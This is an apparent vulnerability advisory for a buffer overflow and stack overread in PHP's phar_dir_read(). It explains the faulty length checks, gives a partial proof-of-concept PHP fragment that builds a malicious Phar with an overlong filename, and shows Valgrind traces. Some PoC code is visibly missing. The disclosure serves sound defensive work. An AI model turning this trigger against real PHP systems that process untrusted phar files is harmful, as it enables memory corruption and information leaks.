Summary

Buffer mismanagement in phar_dir_read() causes a buffer overflow and a buffer overread later.

Details

https://github.com/php/php-src/blob/be71cadc2f899bc39fe27098042139392e2187db/ext/phar/dirstream.c#L89C1-L116

There are few issues here:

• The if check to_read == 0 || count < ZSTR_LEN(str_key) is not right. In particular, if this is false we know that count >= ZSTR_LEN(str_key). Furthermore, because of to_read = MIN(ZSTR_LEN(str_key), count); we now actually have: to_read == ZSTR_LEN(str_key). If we have a filename length (i.e. ZSTR_LEN(str_key)) equal to sizeof(php_stream_dirent), then we get ZSTR_LEN(str_key) == count == to_read == sizeof(php_stream_dirent).

  Take a look now at this line: ((php_stream_dirent *) buf)->d_name[to_read + 1] = '\0';. Assume sizeof(php_stream_dirent) is 4096 like on most Linuxes. Then we write at offset 4097, which is two bytes outside of buf. This line was actually supposed to use to_read instead of to_read + 1, because now even if it doesn't overflow, it does not properly NUL-terminate the filename. We're just lucky there's a memset above. Correcting that to use to_read doesn't solve the whole problem: it would still overflow because it will write at offset 4096 which is still outside buf.

  This means we have a stack information leak and a buffer write overflow.

• Both the memset and the return value assume that count == sizeof(php_stream_dirent). In principle if there are any callers where that count is smaller, a buffer overflow occurs in the memset. However, inside PHP itself I did not find any such caller, but this may be a concern for third-party extensions.

PoC

I created a reproducer using PHP-8.0 with these configure flags: ./configure --enable-debug --disable-all --enable-phar --with-valgrind using compiler gcc (GCC) 13.1.1 20230429.

Create the malicious Phar file using:

$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>

Trigger the buffer overflow and overread using this script: php

If you run this in Valgrind, i.e. valgrind ./sapi/cli/php trigger.php you'll find two Valgrind complaints:

==42575== Conditional jump or move depends on uninitialised value(s)
==42575==    at 0x4847ED8: strlen (vg_replace_strmem.c:501)
==42575==    by 0x53BE9C: zif_readdir (dir.c:389)
==42575==    by 0x6D05C4: ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER (zend_vm_execute.h:1295)
==42575==    by 0x742F7D: execute_ex (zend_vm_execute.h:55163)
==42575==    by 0x747848: zend_execute (zend_vm_execute.h:59523)
==42575==    by 0x696376: zend_execute_scripts (zend.c:1694)
==42575==    by 0x5F6D45: php_execute_script (main.c:2546)
==42575==    by 0x788A53: do_cli (php_cli.c:949)
==42575==    by 0x789ADB: main (php_cli.c:1337)
==42575== 
==42575== Syscall param write(buf) points to uninitialised byte(s)
==42575==    at 0x4AA2BC4: write (write.c:26)
==42575==    by 0x7875EA: sapi_cli_single_write (php_cli.c:261)
==42575==    by 0x78768D: sapi_cli_ub_write (php_cli.c:293)
==42575==    by 0x611034: php_output_op (output.c:1082)
==42575==    by 0x60F2B7: php_output_write (output.c:261)
==42575==    by 0x5B3B0D: php_var_dump (var.c:120)
==42575==    by 0x5B432A: zif_var_dump (var.c:218)
==42575==    by 0x6D031A: ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER (zend_vm_execute.h:1234)
==42575==    by 0x742F6D: execute_ex (zend_vm_execute.h:55159)
==42575==    by 0x747848: zend_execute (zend_vm_execute.h:59523)
==42575==    by 0x696376: zend_execute_scripts (zend.c:1694)
==42575==    by 0x5F6D45: php_execute_script (main.c:2546)

The first complaint is because the strlen() function overreads the d_name buffer because it isn't properly NUL-terminated. The second one is because it writes the name using var_dump, and the name contains (uninitialized) stack data. Valgrind won't complain about the stack buffer write overflow, but you can inspect the memory using gdb for example that a piece of the stack gets overwritten.

Impact

Exploiting this is difficult to do and heavily depends on the application you're targetting, but possible in theory I think using a combination of stack info leaks and buffer write overflows. People who inspect contents of untrusted phar files could be affected.